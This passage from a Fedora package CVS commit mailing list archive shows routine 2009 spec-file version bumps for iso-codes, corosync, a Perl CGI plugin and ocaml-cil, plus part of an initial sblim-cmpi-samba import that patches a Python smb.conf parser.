@@ -57,6 +57,9 @@ make install DESTDIR=$RPM_BUILD_ROOT
 %{_datadir}/pkgconfig/iso-codes.pc
 
 %changelog
+* Fri Oct 23 2009 Parag Nemade <pnemade at redhat.com> - 3.11-1
+- Update to 3.11
+
 * Thu Sep 17 2009 Parag Nemade <pnemade at redhat.com> - 3.10.3-1
 - Update to 3.10.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iso-codes/F-12/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	17 Sep 2009 09:46:06 -0000	1.30
+++ sources	23 Oct 2009 06:09:38 -0000	1.31
@@ -1 +1 @@
-64c1595a5191e01798827477737d6e21  iso-codes-3.10.3.tar.bz2
+29d5526d963a6ecdac40772fac9fe6bb  iso-codes-3.11.tar.bz2



From fabbione at fedoraproject.org  Fri Oct 23 06:13:15 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri, 23 Oct 2009 06:13:15 +0000 (UTC)
Subject: rpms/corosync/devel .cvsignore, 1.12, 1.13 corosync.spec, 1.36,
	1.37 sources, 1.14, 1.15
Message-ID: <20091023061315.B79CD11C01EA@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10416

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes major regression on specific loads



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	21 Oct 2009 05:00:40 -0000	1.12
+++ .cvsignore	23 Oct 2009 06:13:15 -0000	1.13
@@ -1 +1 @@
-corosync-1.1.1.tar.gz
+corosync-1.1.2.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/devel/corosync.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- corosync.spec	21 Oct 2009 05:00:41 -0000	1.36
+++ corosync.spec	23 Oct 2009 06:13:15 -0000	1.37
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.1.1
+Version: 1.1.2
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -208,6 +208,9 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
+* Fri Oct 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.2-1
+- New upstream release fixes major regression on specific loads
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.1-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	21 Oct 2009 05:00:41 -0000	1.14
+++ sources	23 Oct 2009 06:13:15 -0000	1.15
@@ -1 +1 @@
-148c0690d4734bae819504534d6decbe  corosync-1.1.1.tar.gz
+03ea8d775b2855fd3c0a1ed5e7705a86  corosync-1.1.2.tar.gz



From fabbione at fedoraproject.org  Fri Oct 23 07:28:31 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri, 23 Oct 2009 07:28:31 +0000 (UTC)
Subject: rpms/corosync/F-12 .cvsignore, 1.12, 1.13 corosync.spec, 1.36,
	1.37 sources, 1.14, 1.15
Message-ID: <20091023072831.5A98811C01EA@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30389

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes serious regression on specific loads



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	21 Oct 2009 05:02:29 -0000	1.12
+++ .cvsignore	23 Oct 2009 07:28:29 -0000	1.13
@@ -1 +1 @@
-corosync-1.1.1.tar.gz
+corosync-1.1.2.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-12/corosync.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- corosync.spec	21 Oct 2009 05:02:30 -0000	1.36
+++ corosync.spec	23 Oct 2009 07:28:29 -0000	1.37
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.1.1
+Version: 1.1.2
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -208,6 +208,9 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
+* Fri Oct 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.2-1
+- New upstream release fixes major regression on specific loads
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.1-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	21 Oct 2009 05:02:30 -0000	1.14
+++ sources	23 Oct 2009 07:28:29 -0000	1.15
@@ -1 +1 @@
-148c0690d4734bae819504534d6decbe  corosync-1.1.1.tar.gz
+03ea8d775b2855fd3c0a1ed5e7705a86  corosync-1.1.2.tar.gz



From fabbione at fedoraproject.org  Fri Oct 23 07:29:39 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri, 23 Oct 2009 07:29:39 +0000 (UTC)
Subject: rpms/corosync/F-11 .cvsignore, 1.7, 1.8 corosync.spec, 1.27,
	1.28 sources, 1.8, 1.9
Message-ID: <20091023072939.2F48911C01EA@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30564

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes major regression on specific loads



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	21 Oct 2009 05:03:34 -0000	1.7
+++ .cvsignore	23 Oct 2009 07:29:38 -0000	1.8
@@ -1 +1 @@
-corosync-1.1.1.tar.gz
+corosync-1.1.2.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/corosync.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- corosync.spec	21 Oct 2009 05:03:34 -0000	1.27
+++ corosync.spec	23 Oct 2009 07:29:39 -0000	1.28
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.1.1
+Version: 1.1.2
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -208,6 +208,9 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
+* Fri Oct 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.2-1
+- New upstream release fixes major regression on specific loads
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.1-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	21 Oct 2009 05:03:34 -0000	1.8
+++ sources	23 Oct 2009 07:29:39 -0000	1.9
@@ -1 +1 @@
-148c0690d4734bae819504534d6decbe  corosync-1.1.1.tar.gz
+03ea8d775b2855fd3c0a1ed5e7705a86  corosync-1.1.2.tar.gz



From fabbione at fedoraproject.org  Fri Oct 23 07:30:36 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri, 23 Oct 2009 07:30:36 +0000 (UTC)
Subject: rpms/corosync/F-10 .cvsignore, 1.3, 1.4 corosync.spec, 1.5,
	1.6 sources, 1.4, 1.5
Message-ID: <20091023073036.2E36211C0266@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30748

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes major regression on specific loads



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Oct 2009 05:25:59 -0000	1.3
+++ .cvsignore	23 Oct 2009 07:30:35 -0000	1.4
@@ -1 +1 @@
-corosync-1.1.1.tar.gz
+corosync-1.1.2.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-10/corosync.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- corosync.spec	21 Oct 2009 05:25:59 -0000	1.5
+++ corosync.spec	23 Oct 2009 07:30:35 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.1.1
+Version: 1.1.2
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -208,6 +208,9 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
+* Fri Oct 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.2-1
+- New upstream release fixes major regression on specific loads
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.1-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	21 Oct 2009 05:25:59 -0000	1.4
+++ sources	23 Oct 2009 07:30:36 -0000	1.5
@@ -1 +1 @@
-148c0690d4734bae819504534d6decbe  corosync-1.1.1.tar.gz
+03ea8d775b2855fd3c0a1ed5e7705a86  corosync-1.1.2.tar.gz



From eseyman at fedoraproject.org  Fri Oct 23 07:51:13 2009
From: eseyman at fedoraproject.org (Emmanuel Seyman)
Date: Fri, 23 Oct 2009 07:51:13 +0000 (UTC)
Subject: rpms/perl-CGI-Application-Plugin-DevPopup/devel .cvsignore, 1.2,
	1.3 perl-CGI-Application-Plugin-DevPopup.spec, 1.2, 1.3 sources,
	1.2, 1.3
Message-ID: <20091023075113.E08B811C01EA@cvs1.fedora.phx.redhat.com>

Author: eseyman

Update of /cvs/pkgs/rpms/perl-CGI-Application-Plugin-DevPopup/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1342

Modified Files:
	.cvsignore perl-CGI-Application-Plugin-DevPopup.spec sources 
Log Message:
Update to 1.03


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-CGI-Application-Plugin-DevPopup/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	21 Jun 2009 13:55:11 -0000	1.2
+++ .cvsignore	23 Oct 2009 07:51:11 -0000	1.3
@@ -1 +1 @@
-CGI-Application-Plugin-DevPopup-1.01.tar.gz
+CGI-Application-Plugin-DevPopup-1.03.tar.gz


Index: perl-CGI-Application-Plugin-DevPopup.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-CGI-Application-Plugin-DevPopup/devel/perl-CGI-Application-Plugin-DevPopup.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-CGI-Application-Plugin-DevPopup.spec	26 Jul 2009 03:55:06 -0000	1.2
+++ perl-CGI-Application-Plugin-DevPopup.spec	23 Oct 2009 07:51:12 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           perl-CGI-Application-Plugin-DevPopup
-Version:        1.01
-Release:        2%{?dist}
+Version:        1.03
+Release:        1%{?dist}
 Summary:        Runtime cgiapp info in a popup window
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -51,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Fri Oct 23 2009 Emmanuel Seyman <emmanuel.seyman at club-internet.fr> - 1.03-1
+- Update to 1.03
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.01-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-CGI-Application-Plugin-DevPopup/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	21 Jun 2009 13:55:11 -0000	1.2
+++ sources	23 Oct 2009 07:51:12 -0000	1.3
@@ -1 +1 @@
-3e49c9a8d865a7a1af767677771edfd8  CGI-Application-Plugin-DevPopup-1.01.tar.gz
+323d298c84adf799eb206b0042e28908  CGI-Application-Plugin-DevPopup-1.03.tar.gz



From rjones at fedoraproject.org  Fri Oct 23 08:23:12 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 23 Oct 2009 08:23:12 +0000 (UTC)
Subject: rpms/ocaml-cil/devel ocaml-cil.spec,1.11,1.12
Message-ID: <20091023082313.2777111C01EA@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-cil/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8094

Modified Files:
	ocaml-cil.spec 
Log Message:
Include natively compiled files and *.mli files (RHBZ#521324).


Index: ocaml-cil.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-cil/devel/ocaml-cil.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- ocaml-cil.spec	25 Jul 2009 19:53:25 -0000	1.11
+++ ocaml-cil.spec	23 Oct 2009 08:23:11 -0000	1.12
@@ -6,7 +6,7 @@
 
 Name:           ocaml-cil
 Version:        1.3.7
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        CIL - Infrastructure for C Program Analysis and Transformation
 
 Group:          Development/Libraries
@@ -96,7 +96,7 @@ for gcc.
 
 
 %build
-make
+make RELEASE=1
 make quicktest
 
 cat > META <<EOF
@@ -137,7 +137,8 @@ export OCAMLFIND_DESTDIR=$RPM_BUILD_ROOT
 mkdir -p $DESTDIR%{perl_vendorlib}
 install -m 0644 lib/*.pm bin/CilConfig.pm $DESTDIR%{perl_vendorlib}
 mkdir -p $OCAMLFIND_DESTDIR
-ocamlfind install cil META obj/$archos/*.{ml,mli,cmi,cmo,cmx,cma,cmxa,o,a}
+ocamlfind install cil META obj/$archos/*.{ml,mli,cmi,cmo,cmx,cma,cmxa,o,a} \
+  src/*.mli
 
 mkdir -p $DESTDIR%{_bindir}
 install -m 0755 bin/cilly $DESTDIR%{_bindir}
@@ -195,6 +196,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Richard W.M. Jones <rjones at redhat.com> - 1.3.7-3
+- Include natively compiled files and *.mli files (RHBZ#521324).
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From vcrhonek at fedoraproject.org  Fri Oct 23 08:31:19 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Fri, 23 Oct 2009 08:31:19 +0000 (UTC)
Subject: rpms/sblim-cmpi-samba/F-12 sblim-cmpi-samba-0.2.3-model.patch, NONE,
	1.1 sblim-cmpi-samba-0.5.2-1769647-release.patch, NONE,
	1.1 sblim-cmpi-samba-0.5.2-include.patch, NONE,
	1.1 sblim-cmpi-samba.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091023083119.B4CBE11C01EA@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-samba/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10407

Modified Files:
	sources 
Added Files:
	sblim-cmpi-samba-0.2.3-model.patch 
	sblim-cmpi-samba-0.5.2-1769647-release.patch 
	sblim-cmpi-samba-0.5.2-include.patch sblim-cmpi-samba.spec 
Log Message:
initial commit, update include patch, change files

sblim-cmpi-samba-0.2.3-model.patch:
 Linux_Samba.mof |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sblim-cmpi-samba-0.2.3-model.patch ---
--- model/Linux_Samba.mof       2007-08-17 13:02:57.000000000 +0200
+++ model/Linux_Samba.mof       2007-08-17 13:03:03.000000000 +0200
@@ -178,7 +178,7 @@
     string Path;
 
     [Write]
-    boolean Printable = "yes";
+    boolean Printable = true;
 
     [Write]
     string SystemPrinterName;

sblim-cmpi-samba-0.5.2-1769647-release.patch:
 ChangeLog                                               |   17 
 NEWS                                                    |    4 
 resource-access/scripts/smt_smb_ra_get_user_mappings.py |   25 
 resource-access/scripts/smt_smb_ra_parser.py            |  486 !!!!!!!!!!!!!!!!
 resource-access/smt_smb_ra_support.c                    |   12 
 sblim-cmpi-samba.spec.in                                |    8 
 6 files changed, 25 insertions(+), 2 deletions(-), 525 modifications(!)

--- NEW FILE sblim-cmpi-samba-0.5.2-1769647-release.patch ---
Index: sblim-cmpi-samba.spec.in
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/sblim-cmpi-samba.spec.in,v
retrieving revision 1.20
diff -c -r1.20 sblim-cmpi-samba.spec.in
*** sblim-cmpi-samba.spec.in	14 Sep 2007 12:30:33 -0000	1.20
--- sblim-cmpi-samba.spec.in	6 Dec 2007 17:06:39 -0000
***************
*** 9,15 ****
  Summary: SBLIM WBEM-SMT Samba
  Name: @PACKAGE_TARNAME@
  Version: @PACKAGE_VERSION@
! Release: 1
  Group: Systems Management/Base
  URL: http://www.sblim.org
  License: CPL
--- 9,15 ----
  Summary: SBLIM WBEM-SMT Samba
  Name: @PACKAGE_TARNAME@
  Version: @PACKAGE_VERSION@
! Release: 2
  Group: Systems Management/Base
  URL: http://www.sblim.org
  License: CPL
***************
*** 20,26 ****
  #BuildRequires: tog-pegasus-devel
  #BuildRequires: sblim-cmpi-devel
  
! Provides: cmpi-samba
  
  Source0: http://prdownloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
  
--- 20,26 ----
  #BuildRequires: tog-pegasus-devel
  #BuildRequires: sblim-cmpi-devel
  
! Provides:	 cmpi-samba
  
  Source0: http://prdownloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
  
***************
*** 171,176 ****
--- 171,180 ----
  
  ###############################################################################
  %changelog
+ * Tue Oct 16 2007 Wolfgang Taphorn <taphorn at de.ibm.com> 0.5.2-2
+   - Inclusion of fixes for the following issues:
+     o 1769647  cmpi-samba: Parallel requests cause provider to quit
+ 
  * Fri Sep 14 2007 Wolfgang Taphorn <taphorn at de.ibm.com> 0.5.2-1
    - Inclusion of fixes for the following issues:
      o 1794679  cmpi-samba: base tests on current delivered testsuite
Index: NEWS
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/NEWS,v
retrieving revision 1.16
diff -c -r1.16 NEWS
*** NEWS	14 Sep 2007 12:27:50 -0000	1.16
--- NEWS	6 Dec 2007 17:06:39 -0000
***************
*** 1,3 ****
--- 1,7 ----
+ Changes on top of 0.5.2-1
+ ==============================================================================
+ - 1769647  cmpi-samba: Parallel requests cause provider to quit
+ 
  Changes in 0.5.2-1
  ==============================================================================
  - 1794679  cmpi-samba: base tests on current delivered testsuite
Index: ChangeLog
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/ChangeLog,v
retrieving revision 1.11
diff -c -r1.11 ChangeLog
*** ChangeLog	14 Sep 2007 12:41:33 -0000	1.11
--- ChangeLog	6 Dec 2007 17:06:39 -0000
***************
*** 1,4 ****
--- 1,21 ----
  // =========================================================================
+ // Changes on top of version 0.5.2-1 :
+ 
+ 2007-12-06 10:56  skanan
+ 
+ 	* NEWS, sblim-cmpi-samba.spec.in (BRANCH_0_5_2_1): Fix for issue:
+ 	  [1769647]  Parallel requests cause provider to quit
+ 
+ 2007-12-05 12:18  skanan
+ 
+ 	* resource-access/smt_smb_ra_support.c, NEWS,
+ 	  sblim-cmpi-samba.spec.in,
+ 	  resource-access/scripts/smt_smb_ra_get_user_mappings.py,
+ 	  resource-access/scripts/smt_smb_ra_parser.py (BRANCH_0_5_2_1):
+ 	  Fix for issue: [1769647]  Parallel requests cause provider to
+ 	  quit
+ 
+ // =========================================================================
  // new in version 0.5.2-1 :
  
  2007-09-14 14:30  taphorn
Index: resource-access/scripts/smt_smb_ra_parser.py
===================================================================
RCS file: /cvsroot/sblim/cmpi-samba/resource-access/scripts/smt_smb_ra_parser.py,v
retrieving revision 1.1
diff -c -r1.1 smt_smb_ra_parser.py
*** resource-access/scripts/smt_smb_ra_parser.py	18 Oct 2005 11:54:15 -0000	1.1
--- resource-access/scripts/smt_smb_ra_parser.py	6 Dec 2007 17:06:41 -0000
***************
*** 1,240 ****
! #!/usr/bin/python
! #
! # smt_smb_ra_parser.py
! #
! # (C) Copyright IBM Corp. 2005
! #
! # THIS FILE IS PROVIDED UNDER THE TERMS OF THE COMMON PUBLIC LICENSE
! # ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS FILE
! # CONSTITUTES RECIPIENTS ACCEPTANCE OF THE AGREEMENT.
! #
! # You can obtain a current copy of the Common Public License from
! # http://www.opensource.org/licenses/cpl1.0.php
! #
! # Author:  Rodrigo Ceron <rceron at br.ibm.com>
! #
! # Contributors:
! #
! #####################################################################
! 
! from string import strip
! from smt_smb_ra_errors import *
! import re
! 
! class Parser:
! 	
! 	def __init__(self,filename):
! 		self.filename = filename
! 		#self.share = re.compile(r"\[\s*([^\s\[\]]+)\s*\]")
! 		
! 		self.share = re.compile(r"^\s*\[\s*([^]\s[]|[^][\s].*[^][\s])\s*\]\s*$")
! 		self.opts	 = re.compile(r"\s*([^=]+?)\s*=\s*(.+)")
! 		self.comment = re.compile(r"^[#;]+")
! 
! 
! 	def parse(self):
! 		self.file = file(self.filename)
! 		self.tokens = {}
! 		self.sec_order = [] # These 2 exists basically to allow us to determine the
! 		self.all_order = {} # order in wich the shares appear in the file.  
! 		for i in self.file.xreadlines():
! 			if self.comment.search(i):
! 				continue
! 			try:
! 				sh = self.share.search(strip(i)).groups()[0]
! 				self.tokens[sh] = {} 
! 				self.sec_order.append(sh)
! 				self.all_order[sh] = []
! 			except AttributeError:
! 				try:
! 					op = self.opts.search(strip(i)).groups()
! 					self.tokens[sh][op[0]] = op[1]
! 					self.all_order[sh].append(op[0])
! 				except:
! 					continue
! 			except:
! 				continue
! 		self.file.close()		
! 		return self.tokens
! 
! 	def get_order(self):
! 		return self.sec_order,self.all_order
! 
! 	def get_share(self,name):
! 		try:
! 			return self.tokens[name]
! 		except AttributeError:
! 			self.parse()
! 			try:
! 				return self.tokens[name]
! 			except KeyError:
! 				return {}
! 
! 	def get_service_list(self):
! 		try:
! 			return self.tokens.keys()
! 		except AttributeError:
! 			return self.parse().keys()
! 
! 	def __get_option(self,share,option):
! 		try:
! 			sh = self.tokens[share]
! 		except AttributeError:
! 			self.parse()
! 		except KeyError:
! 			return ENOSHARE 
! 		try:
! 			sh = self.tokens[share]
! 		except KeyError: 
! 			return ENOSHARE
! 		return sh[option]
! 				
! 	def get_option(self,share,option):
! 		try:
! 			return self.__get_option(share,option)
! 		except KeyError:
! 			return ENOOPT
! 
! 	def get_option_merge(self,share,option):
! 		if share == "global":
! 			return self.__get_option(share,option)
! 		else:
! 			try:
! 				return self.__get_option(share,option)
! 			except KeyError:
! 				try:
! 					return self.__get_option("global",option)
! 				except KeyError:
! 					return ENOOPT
! 
! 	def lines(self,share):
! 		self.file = file(self.filename)
! 		inshare = 0
! 		lines = -1 
! 		linestart = -1
! 		lineend = -1
! 		for line in self.file.xreadlines():
! 			lines = lines + 1
! 			try:
! 				sh = self.share.search(line).groups()[0]
! 				if (sh == share):
! 					linestart = lines
! 					inshare = 1
! 				elif inshare:
! 						lineend = lines 
! 						inshare = 0
! 			except:
! 				continue
! 
! 		if (linestart == -1):
! 			return 0
! 		if (lineend == -1):
! 			lineend = lines +1 ;
! 
! 		self.file.close()
! 		return linestart,lineend
! 			
! 	def enable(self,share):
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 			
! 		try:
! 			self.file = file(self.filename,"r+")
! 		except IOError:
! 			return EACCES
! 
! 		file_lines = self.file.readlines()
! 		for i in range(lines[0],lines[1]):
! 			if (self.share.search(file_lines[i]) or self.opts.search(file_lines[i])):
! 				file_lines[i] = self.comment.sub("",file_lines[i])
! 
! 		self.file.seek(0)
! 		self.file.truncate(0)
! 		self.file.writelines(file_lines)
! 			
! 		self.file.close()
! 		return 0
! 		
! 	def disable(self,share):	
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 			
! 		try:
! 			self.file = file(self.filename,"r+")
! 		except IOError:
! 			return EACCES
! 			
! 		file_lines = self.file.readlines()
! 		for i in range(lines[0],lines[1]):
! 			if (not self.comment.search(file_lines[i])):
! 				file_lines[i] = "#" + file_lines[i]
! 
! 	
! 		self.file.seek(0)
! 		self.file.truncate(0)
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 		
! 	def set_option(self,share,option,value):
! 		try:
! 			self.file = file(self.filename)
! 			file_lines = self.file.readlines()
! 		except IOError:
! 			return ENOFILE
! 
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 
! 		found = 0
! 		#try to match the option in the options already placed in the file
! 		#if this is the case, replace it
! 		#if not, add a new one, placed at the end of the range given by lines
! 		for i in range(lines[0],lines[1]):
! 			try:
! 				if (self.opts.search(file_lines[i]).groups()[0] == option):
! 					file_lines[i] = self.opts.sub(r"\t\1 = " + value,file_lines[i])
! 					found = 1
! 					#break	
! 			except AttributeError:
! 				continue
! 
! 		if (not found):
! 			file_lines.insert(lines[1],"\t"+option+ " = " + value + "\n")
! 	
! 		try:
! 			self.file = file(self.filename,"w")
! 		except IOEerror:
! 			return EACCES
! 
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 	
! 	def delete_share(self,share):	
! 		try:
! 			self.file = file(self.filename)
! 			file_lines = self.file.readlines()
! 		except IOError:
! 			return ENOFILE
! 
! 		lines = self.lines(share)
! 		if (lines == 0):
! 			return ENOSHARE
! 
! 		file_lines[lines[0]:lines[1]] = []
! 
! 		try:
! 			self.file = file(self.filename,"w")
! 		except IOEerror:
! 			return EACCES
! 
! 		self.file.writelines(file_lines)
! 		self.file.close()
! 		return 0
! 
! 	def create_share(self,share):
! 		pass
--- 1,246 ----
! #!/usr/bin/python
! #
! # smt_smb_ra_parser.py
! #
! # (C) Copyright IBM Corp. 2005
! #
! # THIS FILE IS PROVIDED UNDER THE TERMS OF THE COMMON PUBLIC LICENSE
! # ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS FILE
! # CONSTITUTES RECIPIENTS ACCEPTANCE OF THE AGREEMENT.
! #
! # You can obtain a current copy of the Common Public License from
! # http://www.opensource.org/licenses/cpl1.0.php
! #
! # Author:  Rodrigo Ceron <rceron at br.ibm.com>
! #
! # Contributors:
! #
! #####################################################################
! 
! from string import strip
! from smt_smb_ra_errors import *
! from os import write,close,path
! from sys import argv,exit,stdin
! import re
! 
! class Parser:
! 	
! 	def __init__(self,filename):
! 		self.filename = filename
! 		#self.share = re.compile(r"\[\s*([^\s\[\]]+)\s*\]")
! 		
! 		self.share = re.compile(r"^\s*\[\s*([^]\s[]|[^][\s].*[^][\s])\s*\]\s*$")
! 		self.opts	 = re.compile(r"\s*([^=]+?)\s*=\s*(.+)")
! 		self.comment = re.compile(r"^[#;]+")
! 
! 
! 	def parse(self):
!         	if path.exists(self.filename):
! 
! 			self.file = file(self.filename)
! 			self.tokens = {}
! 			self.sec_order = [] # These 2 exists basically to allow us to determine the
! 			self.all_order = {} # order in wich the shares appear in the file.  
! 			for i in self.file.xreadlines():
! 				if self.comment.search(i):
! 					continue
! 				try:
! 					sh = self.share.search(strip(i)).groups()[0]
! 					self.tokens[sh] = {} 
! 					self.sec_order.append(sh)
! 					self.all_order[sh] = []
! 				except AttributeError:
! 					try:
! 						op = self.opts.search(strip(i)).groups()
! 						self.tokens[sh][op[0]] = op[1]
! 						self.all_order[sh].append(op[0])
! 					except:
! 						continue
! 				except:
! 					continue
! 			self.file.close()		
! 			return self.tokens
! 		else:
! 			exit(EINVAL)
! 
! 	def get_order(self):
! 		return self.sec_order,self.all_order
! 
! 	def get_share(self,name):
! 		try:
! 			return self.tokens[name]
! 		except AttributeError:
! 			self.parse()
! 			try:
! 				return self.tokens[name]
! 			except KeyError:
! 				return {}
! 
! 	def get_service_list(self):
! 		try:
! 			return self.tokens.keys()
! 		except AttributeError:
! 			return self.parse().keys()
! 
! 	def __get_option(self,share,option):
! 		try:
! 			sh = self.tokens[share]
! 		except AttributeError:
! 			self.parse()
! 		except KeyError:
! 			return ENOSHARE 
! 		try:
! 			sh = self.tokens[share]
! 		except KeyError: 
! 			return ENOSHARE
! 		return sh[option]
! 				
